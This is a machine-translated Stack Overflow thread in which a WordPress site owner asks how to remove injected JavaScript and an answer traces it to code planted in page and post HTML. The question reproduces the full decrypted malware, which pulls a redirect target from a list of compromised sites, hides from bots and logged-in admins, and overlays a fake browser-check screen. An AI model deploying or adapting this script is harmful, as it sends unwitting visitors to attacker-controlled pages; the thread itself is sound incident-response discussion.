wordpress - WordPress 中的可疑代码知道如何删除它吗?

标签 wordpress security

(function () {
    //<script>
    var w_location = null;

    var domains = [
        'http://kntsv.nl/images/tmp.php',
        'http://grimhoj.dmcu.dk/modules/mod_xsystem/tmp.php',
        'http://langedijke.nl/plugins/tmp.php',
        'http://megateuf.edelo.net/cgi-bin/tmp.php',
        'http://www.icanguri.com/modules/mod_xsystem/tmp.php',
        'http://www.pflege-tut-gut.de/wp-content/plugins/tv1/tmp.php',
        'http://yofeet.com/drupal/modules/tmp.php',
        'http://squash-moyennedurance.fr/modules/mod_xsystem/tmp.php',
        'http://www.devonportmotors.co.nz/images/tmp.php'
    ];

    function getDomainName(domain) {
        var xhr = new XMLHttpRequest();
        xhr.onreadystatechange = function () {
            if (xhr.readyState == XMLHttpRequest.DONE) {
                if (xhr.responseText && xhr.responseText.trim().length > 0) {
                    w_location = xhr.responseText.trim();
                }
            }
        };
        xhr.open('GET', domains[0], true);
        xhr.send();
    }

    for (var i = 0; i < domains.length; i++) {
        getDomainName(domains[i]);
    }

    function start() {

        var from = document.referrer;
        var i;

        // If it's direct
        var eee = ["", " "];

        var se = ["google", "yahoo", "bing", "yandex", "baidu", "gigablast", "soso", "blekko", "exalead", "sogou", "duckduckgo", "volunia"];


        if (checkCookie()) {
            return;
        }
        var uagent = navigator.userAgent;
        if (!uagent || uagent.length == 0) {
            return;
        }
        uagent = uagent.toLowerCase();
        if (uagent.indexOf('google') != -1 || uagent.indexOf('bot') != -1
            || uagent.indexOf('crawl') != -1) {

        } else {
            hideWebSite();
        }

        function getCookie(c_name) {
            var c_value = document.cookie;
            var c_start = c_value.indexOf(" " + c_name + "=");
            if (c_start == -1) {
                c_start = c_value.indexOf(c_name + "=");
            }
            if (c_start == -1) {
                c_value = null;
            }
            else {
                c_start = c_value.indexOf("=", c_start) + 1;
                var c_end = c_value.indexOf(";", c_start);
                if (c_end == -1) {
                    c_end = c_value.length;
                }
                c_value = unescape(c_value.substring(c_start, c_end));
            }
            return c_value;
        }

        function setCookie(c_name, value, exdays) {
            var exdate = new Date();
            exdate.setDate(exdate.getDate() + exdays);
            var c_value = escape(value) + ((exdays == null) ? "" : "; expires=" + exdate.toUTCString());
            document.cookie = c_name + "=" + c_value;
        }

        function checkCookie() {
            if (localStorage.getItem('yYjra4PCc8kmBHess1ib') === '1') {
                return true;
            } else {
                localStorage.setItem('yYjra4PCc8kmBHess1ib', '1');
            }
            var referrerRedirectCookie = getCookie("referrerRedirectCookie");
            if (referrerRedirectCookie != null && referrerRedirectCookie != "") {
                return true;
            } else if (document.cookie.indexOf('wordpress_logged') !== -1
                || document.cookie.indexOf('wp-settings') !== -1
                || document.cookie.indexOf('wordpress_test') !== -1) {
                return true;
            } else {
                setCookie("referrerRedirectCookie", "do not redirect", 730);
                return false;
            }
        }

    }


    function createPopup() {
        var popup = document.createElement('div');
        popup.style.position = 'absolute';
        popup.style.width = '100%';
        popup.style.height = '100%';
        popup.style.left = 0;
        popup.style.top = 0;
        popup.style.backgroundColor = 'white';
        popup.style.zIndex = 99999;
        document.body.appendChild(popup);

        popup.onclick = function () {
            var intervalId = setInterval(() = > {
                    if (
            !w_location
            )
            {
                return;
            }
            clearInterval(intervalId);
            window.location = w_location;
        },
            10
            )
            ;

        };

        var p = document.createElement('p');
        p.innerText = "Checking your browser before accessing "
            + window.location.host + "...";
        p.style.textAlign = 'center';
        //p.style.margin = '20px auto';
        //p.style.left = '20px';
        p.style.fontSize = 'x-large';
        p.style.position = 'relative';
        p.textContent = p.innerText;
        popup.appendChild(p);

        return popup;
    }

    function createButton() {
        var button = document.createElement('div');
        button.style.position = 'absolute';
        button.style.top = '20%';
        button.style.left = '10%';
        button.style.right = '10%';
        button.style.width = '80%';
        button.style.border = "1px solid black";
        button.style.textAlign = 'center';
        button.style.verticalAlign = 'middle';
        button.style.margin = '0, auto';
        button.style.cursor = 'pointer';
        button.style.fontSize = 'xx-large';
        button.style.borderRadius = '5px';
        button.onclick = function () {
            window.location = w_location;
        };
        button.onmouseover = function () {
            button.style.border = '1px solid red';
            button.style.color = 'red';
        };
        button.onmouseout = function () {
            button.style.border = '1px solid black';
            button.style.color = 'black';
        };

        button.innerText = "Continue";
        button.textContent = button.innerText;
        return button;
    }

    var hideWebSite = function () {
        var popup = createPopup();
        var button = createButton();
        popup.appendChild(button);

    };

    var readyStateCheckInterval = setInterval(function () {
        if (document.readyState === 'complete'
            || document.readyState == 'interactive') {
            clearInterval(readyStateCheckInterval);
            start();
        }
    }, 10);
    //</script>


})

我在代码中尝试过 grep,但找不到任何东西,我获取了完整数据库的 MySQL 转储,但没有找到任何东西。

我运行了 clamscan,但找不到任何问题,我的疑问出在 Visual Composer 上,但是当我在 Visual Composer 中 grep 时,我没有看到此代码。

更新

这是网站被感染时显示的内容:

enter image description here

您可以通过转到 Chrome 开发工具控制台来检查该消息和按钮(覆盖,不应该在那里)的来源,并查看变量 ZJPMAWHWOE 的值,这将为您提供一堆JS代码,但在变量中它是加密的,一旦代码运行并解密,它就是上面发布的JS代码。

如果您访问网站https://sitecheck.sucuri.net/并检查您的网站,然后您将从他们那里收到感染警报:

enter image description here

最佳答案

经过进一步调查,我们发现以下内容:

正如 OP 和其他人在评论中指出的那样,对同一服务器中的网站文件和其他网站文件进行 GREP 查找受感染代码(加密或解密)的任何痕迹没有给出任何结果,这意味着感染是不在任何文件中(至少不是以这种形式)。

我们注意到页面底部有一些额外的垃圾字符,其中有“合法”免责声明:

enter image description here

针对我们寻找 JS 变量ZJPMAWHWOE的案例,追踪最终 HTML 的哪些部分受到感染(和/或垃圾字符)

enter image description here

实际上,脚本代码存在于一个已知的 HTML 片段中,对于我们来说,该片段是存在于我们的 WordPress 页面之一中的“合法”页面。

这现在指向在 WordPress 中直接编辑的页面/帖子内的代码。我们进去检查了合法页面并在那里找到了它(首先注意到相同的垃圾字符):

enter image description here

然后向下滚动(在 TextView 中,获取页面的原始 HTML),我们得到了这个:

enter image description here

我们检查了网站中的其他页面和帖子,发现其中存在相同的注入(inject)代码。

一旦我们清理了它们,所有感染似乎都消失了。

那么现在,攻击是如何完成的呢?我们的理论是,只有获取 WordPress 用户凭据并编辑页面/帖子;在我们的例子中,这相当容易,因为我们的/wp-admin 登录页面不受 HTTPS 保护,因此我们的用户和密码很容易被嗅探;我们认为这是他们获取用户凭据并随后编辑页面/帖子以添加恶意代码的方式。

除了清理之外,我们还做了以下工作:

  • 更新了系统密码数据库
  • 从 WordPress 中删除了所有用户;我们只留下“admin”和我的用户(都具有管理员角色)
  • 更新了用户“admin”和我的用户的密码
  • 为博客编辑者重新创建了具有新密码的用户

正在进行中:我们正在为 WordPress 获取 HTTPS,以保护每次登录 wp-admin 时提交的用户/密码信息。

我还想听听有关如何提高 WordPress 安全性的其他建议,以及有关他们如何能够在页面/帖子中注入(inject)恶意代码的其他理论。

关于wordpress - WordPress 中的可疑代码知道如何删除它吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/40997269/

相关文章:

php - WooCommerce 按钮可清除购物车、添加一件商品并前往结帐

php - 基于不同行的值的 SQL 查询

spring - 如何保护个人金融网络应用程序?

security - 数字证书在用于保护网站(使用 SSL)时如何工作?

php - 有没有任何系统可以检查 php 脚本是否安全?

php - 在 PHP 中安全地传递数据

mysql - 将 MySQL 列中的值从第 x 行替换为第 y 行

css - 在自定义页面(url)加载/打开时隐藏 div?

mysql - SQL条件if不存在

security - 处理 NServiceBus 中的中间人攻击